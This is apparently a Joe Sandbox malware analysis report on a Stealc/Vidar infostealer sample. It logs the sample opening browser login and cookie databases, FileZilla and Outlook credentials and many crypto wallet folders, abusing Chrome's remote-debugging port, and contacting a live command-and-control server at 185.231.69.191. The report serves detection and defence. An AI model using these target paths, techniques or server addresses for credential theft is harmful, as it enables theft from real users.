Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\gYjK72gL17.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\gYjK72gL17.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 0.2.gYjK72gL17.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2605632956.0000000000294000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: gYjK72gL17.exe PID: 4512, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\gYjK72gL17.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected Stealc

Source: Yara match	File source: 0.2.gYjK72gL17.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2607101722.0000000001527000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2605576671.00000000001EB000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: gYjK72gL17.exe PID: 4512, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: gYjK72gL17.exe PID: 4512, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Process Injection	1 Masquerading	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Email Collection	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	1 Credential API Hooking	1 Query Registry	Remote Desktop Protocol	1 Credential API Hooking	1 Remote Access Software	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Process Injection	Security Account Manager	111 Security Software Discovery	SMB/Windows Admin Shares	1 Archive Collected Data	11 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	4 Data from Local System	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	134 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
gYjK72gL17.exe	16%	ReversingLabs
gYjK72gL17.exe	100%	Avira	HEUR/AGEN.1357300

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://185.231.69.191/ec05bb5a9eb90166/freebl3.dllCf	0%	Avira URL Cloud	safe
http://185.231.69.191ata	0%	Avira URL Cloud	safe
http://185.231.69.191/f190e2808a5419c3.phpft	0%	Avira URL Cloud	safe
http://185.231.69.191/ec05bb5a9eb90166/nss3.dll	0%	Avira URL Cloud	safe
http://185.231.69.191/	0%	Avira URL Cloud	safe
http://185.231.69.191/ec05bb5a9eb90166/mozglue.dll	0%	Avira URL Cloud	safe
http://185.231.69.191/f190e2808a5419c3.php2L	0%	Avira URL Cloud	safe
http://185.231.69.191/f190e2808a5419c3.phpata	0%	Avira URL Cloud	safe
http://185.231.69.191/f190e2808a5419c3.phpf	0%	Avira URL Cloud	safe
http://185.231.69.191/ec05bb5a9eb90166/softokn3.dll	0%	Avira URL Cloud	safe
http://185.231.69.191/f190e2808a5419c3.phprowser	0%	Avira URL Cloud	safe
http://185.231.69.191f190e2808a5419c3.php59aef09ac94adad262762b7dcff87lt-release	0%	Avira URL Cloud	safe
http://185.231.69.191/f190e2808a5419c3.phpirefox	0%	Avira URL Cloud	safe
http://185.231.69.191/f190e2808a5419c3.phpJj	0%	Avira URL Cloud	safe
http://185.231.69.191/ec05bb5a9eb90166/mozglue.dllGg	0%	Avira URL Cloud	safe
http://185.231.69.191/f190e2808a5419c3.php-minuser-l1-1-0	0%	Avira URL Cloud	safe
http://185.231.69.191/ec05bb5a9eb90166/vcruntime140.dll$a/	0%	Avira URL Cloud	safe
http://185.231.69.191/ec05bb5a9eb90166/freebl3.dll3g	0%	Avira URL Cloud	safe
http://185.231.69.191/ec05bb5a9eb90166/softokn3.dllkg	0%	Avira URL Cloud	safe
http://185.231.69.191/f190e2808a5419c3.phpdll	0%	Avira URL Cloud	safe
http://185.231.69.191/ec05bb5a9eb90166/msvcp140.dll	0%	Avira URL Cloud	safe
http://185.231.69.191/f190e2808a5419c3.phpzL	0%	Avira URL Cloud	safe
http://185.231.69.191/ec05bb5a9eb90166/sqlite3.dll	0%	Avira URL Cloud	safe
http://185.231.69.191/f190e2808a5419c3.phpme	0%	Avira URL Cloud	safe
http://185.231.69.191/f190e2808a5419c3.phperbird	0%	Avira URL Cloud	safe
http://185.231.69.191/f190e2808a5419c3.php)	0%	Avira URL Cloud	safe
185.231.69.191/f190e2808a5419c3.php	100%	Avira URL Cloud	malware
http://185.231.69.191/ec05bb5a9eb90166/nss3.dllk	0%	Avira URL Cloud	safe
http://185.231.69.191/ec05bb5a9eb90166/freebl3.dll	0%	Avira URL Cloud	safe
http://185.231.69.191/f190e2808a5419c3.phpnL	0%	Avira URL Cloud	safe
http://185.231.69.191	0%	Avira URL Cloud	safe
http://185.231.69.191/f190e2808a5419c3.phpEcF	0%	Avira URL Cloud	safe
http://185.231.69.191/f190e2808a5419c3.phpbL	0%	Avira URL Cloud	safe
http://185.231.69.191/_u	0%	Avira URL Cloud	safe
http://185.231.69.191/ec05bb5a9eb90166/softokn3.dll/f	0%	Avira URL Cloud	safe
http://185.231.69.191/ec05bb5a9eb90166/vcruntime140.dll	0%	Avira URL Cloud	safe
http://185.231.69.191/f190e2808a5419c3.php	100%	Avira URL Cloud	malware
http://185.231.69.191/ec05bb5a9eb90166/nss3.dllv	0%	Avira URL Cloud	safe
http://185.231.69.191/ec05bb5a9eb90166/msvcp140.dllMf	0%	Avira URL Cloud	safe
http://185.231.69.191/f190e2808a5419c3.phpcation	0%	Avira URL Cloud	safe
http://185.231.69.191/f190e2808a5419c3.phpP	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
plus.l.google.com	172.217.17.46	true	false	high
www.google.com	142.250.181.68	true	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.231.69.191/ec05bb5a9eb90166/mozglue.dll	true	Avira URL Cloud: safe	unknown
http://185.231.69.191/	true	Avira URL Cloud: safe	unknown
http://185.231.69.191/ec05bb5a9eb90166/nss3.dll	true	Avira URL Cloud: safe	unknown
http://185.231.69.191/ec05bb5a9eb90166/softokn3.dll	true	Avira URL Cloud: safe	unknown
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false		high
http://185.231.69.191/ec05bb5a9eb90166/msvcp140.dll	true	Avira URL Cloud: safe	unknown
185.231.69.191/f190e2808a5419c3.php	true	Avira URL Cloud: malware	unknown
http://185.231.69.191/ec05bb5a9eb90166/sqlite3.dll	true	Avira URL Cloud: safe	unknown
https://www.google.com/async/newtab_promos	false		high
http://185.231.69.191/ec05bb5a9eb90166/freebl3.dll	true	Avira URL Cloud: safe	unknown
https://www.google.com/async/ddljson?async=ntp:2	false		high
http://185.231.69.191/ec05bb5a9eb90166/vcruntime140.dll	true	Avira URL Cloud: safe	unknown
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false		high
http://185.231.69.191/f190e2808a5419c3.php	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	gYjK72gL17.exe, 00000000.00000003.2304373058.00000000015E3000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	false		high
http://185.231.69.191/f190e2808a5419c3.phpft	gYjK72gL17.exe, 00000000.00000003.2442011468.0000000001586000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	gYjK72gL17.exe, 00000000.00000003.2304373058.00000000015E3000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	gYjK72gL17.exe	false		high
http://185.231.69.191/ec05bb5a9eb90166/freebl3.dllCf	gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001566000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.broofa.com	chromecache_86.5.dr	false		high
http://ocsp.sectigo.com0	gYjK72gL17.exe	false		high
http://185.231.69.191/f190e2808a5419c3.php2L	gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001566000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.231.69.191ata	gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000244000.00000004.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://185.231.69.191/f190e2808a5419c3.phpata	gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001566000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.231.69.191/f190e2808a5419c3.phpf	gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001586000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	gYjK72gL17.exe, 00000000.00000003.2304373058.00000000015E3000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	false		high
http://185.231.69.191/f190e2808a5419c3.phprowser	gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001586000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.231.69.191/f190e2808a5419c3.phpJj	gYjK72gL17.exe, 00000000.00000003.2442011468.0000000001586000.00000004.00000020.00020000.00000000.sdmp, gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001586000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.231.69.191/f190e2808a5419c3.phpirefox	gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000327000.00000004.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	gYjK72gL17.exe, 00000000.00000002.2610669943.0000000009C91000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJKFIDGCAAFCAF.0.dr	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	gYjK72gL17.exe	false		high
http://185.231.69.191f190e2808a5419c3.php59aef09ac94adad262762b7dcff87lt-release	gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000327000.00000004.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://185.231.69.191/ec05bb5a9eb90166/mozglue.dllGg	gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001566000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.231.69.191/ec05bb5a9eb90166/vcruntime140.dll$a/	gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001566000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.231.69.191/ec05bb5a9eb90166/softokn3.dllkg	gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001566000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	gYjK72gL17.exe, 00000000.00000003.2304373058.00000000015E3000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	false		high
http://185.231.69.191/ec05bb5a9eb90166/freebl3.dll3g	gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001566000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.231.69.191/f190e2808a5419c3.php-minuser-l1-1-0	gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001566000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://apis.google.com	chromecache_86.5.dr	false		high
http://185.231.69.191/f190e2808a5419c3.phpdll	gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001586000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sqlite.org/copyright.html.	gYjK72gL17.exe, 00000000.00000002.2607785860.0000000003B71000.00000004.00000020.00020000.00000000.sdmp, gYjK72gL17.exe, 00000000.00000002.2613733639.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	gYjK72gL17.exe	false		high
http://185.231.69.191/f190e2808a5419c3.phpzL	gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001566000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	gYjK72gL17.exe, gYjK72gL17.exe, 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://sectigo.com/CPS0	gYjK72gL17.exe	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	gYjK72gL17.exe, 00000000.00000003.2304373058.00000000015E3000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	false		high
http://185.231.69.191/f190e2808a5419c3.phperbird	gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001586000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	gYjK72gL17.exe, 00000000.00000002.2610669943.0000000009C91000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJKFIDGCAAFCAF.0.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	JJKEBGHJKFIDGCAAFCAF.0.dr	false		high
http://185.231.69.191/f190e2808a5419c3.phpme	gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000244000.00000004.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://185.231.69.191/f190e2808a5419c3.php)	gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001586000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	gYjK72gL17.exe, 00000000.00000003.2304373058.00000000015E3000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	false		high
http://185.231.69.191/ec05bb5a9eb90166/nss3.dllk	gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001551000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.231.69.191	gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000327000.00000004.00000001.01000000.00000003.sdmp, gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001527000.00000004.00000020.00020000.00000000.sdmp, gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000244000.00000004.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://185.231.69.191/f190e2808a5419c3.phpnL	gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001566000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.231.69.191/f190e2808a5419c3.phpEcF	gYjK72gL17.exe, 00000000.00000003.2442011468.000000000156E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.231.69.191/f190e2808a5419c3.phpbL	gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001566000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	gYjK72gL17.exe, 00000000.00000003.2304373058.00000000015E3000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	HDBGDHDAECBGDHJKFIDGCBFBKF.0.dr	false		high
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	gYjK72gL17.exe, 00000000.00000002.2610669943.0000000009C91000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJKFIDGCAAFCAF.0.dr	false		high
http://185.231.69.191/_u	gYjK72gL17.exe, 00000000.00000003.2442011468.000000000156E000.00000004.00000020.00020000.00000000.sdmp, gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001566000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.231.69.191/ec05bb5a9eb90166/softokn3.dll/f	gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001566000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	gYjK72gL17.exe, 00000000.00000003.2304373058.00000000015E3000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_86.5.dr	false		high
http://185.231.69.191/ec05bb5a9eb90166/nss3.dllv	gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001551000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	HDBGDHDAECBGDHJKFIDGCBFBKF.0.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	gYjK72gL17.exe, 00000000.00000002.2610669943.0000000009C91000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJKFIDGCAAFCAF.0.dr	false		high
http://185.231.69.191/f190e2808a5419c3.phpcation	gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000244000.00000004.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	gYjK72gL17.exe	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	gYjK72gL17.exe, 00000000.00000002.2610669943.0000000009C91000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJKFIDGCAAFCAF.0.dr	false		high
http://185.231.69.191/ec05bb5a9eb90166/msvcp140.dllMf	gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001566000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.231.69.191/f190e2808a5419c3.phpF	gYjK72gL17.exe, 00000000.00000003.2442011468.0000000001586000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org	HDBGDHDAECBGDHJKFIDGCBFBKF.0.dr	false		high
http://185.231.69.191/f190e2808a5419c3.phpP	gYjK72gL17.exe, 00000000.00000003.2442011468.0000000001586000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	gYjK72gL17.exe, 00000000.00000003.2304373058.00000000015E3000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	gYjK72gL17.exe, 00000000.00000002.2610669943.0000000009C91000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJKFIDGCAAFCAF.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.231.69.191	unknown	Ukraine	204601	ON-LINE-DATAServerlocation-NetherlandsDrontenNL	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580418
Start date and time:	2024-12-24 14:01:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	gYjK72gL17.exe renamed because original name is a hash value
Original Sample Name:	05dc698e49fce4efae5872eb54f19767.exe
Detection:	MAL
